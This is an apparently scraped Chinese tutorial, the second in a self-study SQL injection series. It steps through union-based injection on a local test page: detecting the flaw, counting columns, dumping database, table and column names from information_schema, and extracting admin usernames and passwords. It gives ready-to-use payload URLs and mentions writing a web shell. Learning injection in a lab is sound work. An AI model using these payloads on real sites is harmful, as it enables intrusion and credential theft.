/*

原文出处:珍惜少年时

留给原创一个ZBD机会。

加号即空格

*/

00x1 判断是否含有注入

http://127.0.0.1/1.php?id=3 and 1=1--           

返回正确的页面。

http://127.0.0.1/1.php?id=3 and 1=2--   

页面的数据就不存在了。说明and是被带入到数据库当中的。

00x2 判断字段长度

http://127.0.0.1/1.php?id=3 order by 4--          //返回错误
http://127.0.0.1/1.php?id=3 order by --          //返回正确

如图所示有三个字段,所以order by 3是正确的。order by 4是错误的。因为只有三个字段。

====================》》》》》字段的长度为:3《《《《《====================

00x3 爆出显示位

code:

http://127.0.0.1/1.php?id=-3+union+select+1,2,3--     //用-3使得前面的sql语句报错而不执行,进而执行“select+1,2,3--”该条sql语句

由图可见,1,2,3都是显示位。

00x4 爆数据库、爆mysql信息

/*在原来的基础上将源码修改了一下,使得界面更好看了些。*/

常用的函数

system_user()              #系统用户名
user() #用户名
current_user #当前用户名
session_user() #连接数据库的用户名
database() #数据库名
version() #MYSQL 数据库版本
load_file() #MYSQL读取本地文件的函数
@@datadir #读取数据库路径
@@basedir #MYSQL 安装路径
@@version_compile_os #操作系统

爆数据库

语句:http://127.0.0.1/1.php?id=-1 union select concat(user(),0x5F,database()),2,3 from mysql.user--
/*
concat():顾名思义的一个函数,其作用就是联合数据。
ox5F :如图所示的那样是HEX值,因为使用了concat将两条数据联合了以后不大好区分出那条数据是A那条数据是B的,所以使用其为之示意。当然了也可以换成其他的,但需记得转化为hex
mysql.user :是mysql数据库下的user表。是用来存储用户的数据
*/

这里重要的是爆数据库,当然了其他的同样重要,毕竟是一个收集信息的过程。如果是root权限时可以尝试mysql里的文件写入函数进行写入shell了,当然了需要找到网站的路径。

以下是爆出所有的数据库:

http://127.0.0.1/1.php?id=-1 union select 1,2,concat(group_concat(distinct+schema_name)) from information_schema.schemata--

group_concat:与concat类似,此函数与“*”符号类似。含有所有之意。
distinct:去除重复的函数 ×/

00x5 爆表明

然后找出那个是管理员账户信息所在的数据库(PS:这里我们的是sqlinject)将其转换为hex值。

sqlinject转换后的HEX值是:0x73716C696E6A656374

code:

http://127.0.0.1/1.php?id=-1+union+select+1,2,concat(group_concat(distinct+table_name))+from+information_schema.tables+where+table_schema=0x73716C696E6A656374--
/*
information_schema.tables:储存MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。.tables是information_schema下的一个表
table_schema:即表模式,每一个用户都有对应的schema。schema的英译是"模式",
schema:数据库对象的集合.tables views sequences stored procedures synonyms indexes clusters and database links等。
*/

说明sqlinject下所有的表,就是“admin,user,user_a”后两个是临时创建的,只有一个怕看的不是很懂。如此一来获得了表。

00x6 爆字段、列明

code:

http://127.0.0.1/1.php?id=-1 union select concat(group_concat(distinct column_name)),2,3 from information_schema.columns where table_schema=0x73716C696E6A656374--

可以看到有三个字段,分别是:id,username,password。其中username和password是我们需要的。

00x7 爆字段内容

code:

http://127.0.0.1/1.php?id=-1+union+select+username,password,3+from+admin--

SQL注入自学[第二学:注入环境的简单突破]的更多相关文章

  1. SQL注入自学[第一学:一个简单的注入环境的编写]

    /* 转载请注明出处 ID:珍惜少年时 */ CODE区域: /*注:现在mysql_connect的这种连接方式已经被放弃了,也就是说不用了,老夫也是新手上路故,下载了一个wampserver2.2 ...

  2. ■SQL注入自学[第三学:注入点的读写、out_file]

    00x1 判断是否可读 code: http:.php?id and (select count(*) from mysql.user) >0--/*返回正确的话,说明没有是有读的权限.返回错误 ...

  3. 【sql注入】浅谈sql注入中的Post注入

    [sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在 ...

  4. SQL注入之堆叠注入(堆查询注入)

    Stached injection -- 堆叠注入 0x00 堆叠注入的定义 ​ Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...

  5. 『SQL注入』 User-Agent 手工注入的探测与利用分析

    原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: ...

  6. 常见注入手法第二讲,APC注入

    常见注入手法第二讲,APC注入 转载注明出处 首先,我们要了解下什么是APC APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对 ...

  7. SQL中批量删除被注入的恶意代码的方法

    下文将为您介绍SQL中批量删除被注入的恶意代码的方法,供您参考,如果您也遇到了这样的问题,不妨一看,相信对您会有所帮助. 1,如果你的数据表很少的话,那么写几条简单的sql就搞定了 对于表中的nvch ...

  8. sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)

    (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...

  9. php web开发安全之sql注入和防范:(一)简单的select语句注入和防范

    sql注入主要是指通过在get.post请求参数中构造sql语句,以修改程序运行时所执行的sql语句,从而实现获取.修改信息甚至是删除数据的目的,sql被注入的原因主要是代码编写的有问题(有漏洞),只 ...

随机推荐

  1. css清楚浮动的几种常用方法

    请先看博客:http://www.jb51.net/css/173023.html

  2. [BZOJ1271][WC2008]秦腾与教学评估(巧妙的二分)

    题目:http://www.lydsy.com:808/JudgeOnline/problem.php?id=1271 分析: 很巧妙的一道题 因为最多只有一个点是奇数,所以说明这个点前面的前缀和都是 ...

  3. php中命名空间的使用

    简单使用 命名空间主要解决函数/类冲突的问题.由于PHP中中不允许函数重载,所以我们要使用的到命名空间的.先看一个简单的例子. <?php namespace A; public functio ...

  4. linux 查看服务器性能常用命令

    一.top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器   下面详细介绍它的使用方法.top是一个动态显示过程,即可以通过用户按键来 ...

  5. Andriod开发环境的发展演变

    安卓早先只能使用JAVA开发应用程序,现在支持多种编程语言,方便了许多程序员,但主流的应该还是JAVA语言.早先安卓开发经常用到eclipse,但自从google 发布了Android studio后 ...

  6. Jetty+json-lib库抛异常的问题解决过程(java.lang.NoClassDefFoundError: net/sf/json/JSONObject)

      一.之前抛异常是将json库改成了fastjson解决的,参见: http://www.cnblogs.com/gossip/p/5369670.html     异常信息:     二.解决步骤 ...

  7. hdu4287 字典树

    #include<stdio.h> #include<string.h> #include<stdlib.h> #define maxn 10 struct tri ...

  8. Java设计模式-装饰模式(Decorator)

    顾名思义,装饰模式就是给一个对象增加一些新的功能,而且是动态的,要求装饰对象和被装饰对象实现同一个接口,装饰对象持有被装饰对象的实例,关系图如下: Source类是被装饰类,Decorator类是一个 ...

  9. 洛谷P2731骑马修栅栏

    题目背景 Farmer John每年有很多栅栏要修理.他总是骑着马穿过每一个栅栏并修复它破损的地方. 题目描述 John是一个与其他农民一样懒的人.他讨厌骑马,因此从来不两次经过一个栅栏.你必须编一个 ...

  10. 中间件、MetaQ入门学习

    目录 . 中间件技术 . MetaQ中间件 . MetaQ编程实践 1. 中间件技术 0x1: 中间件简介 中间件(Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的 ...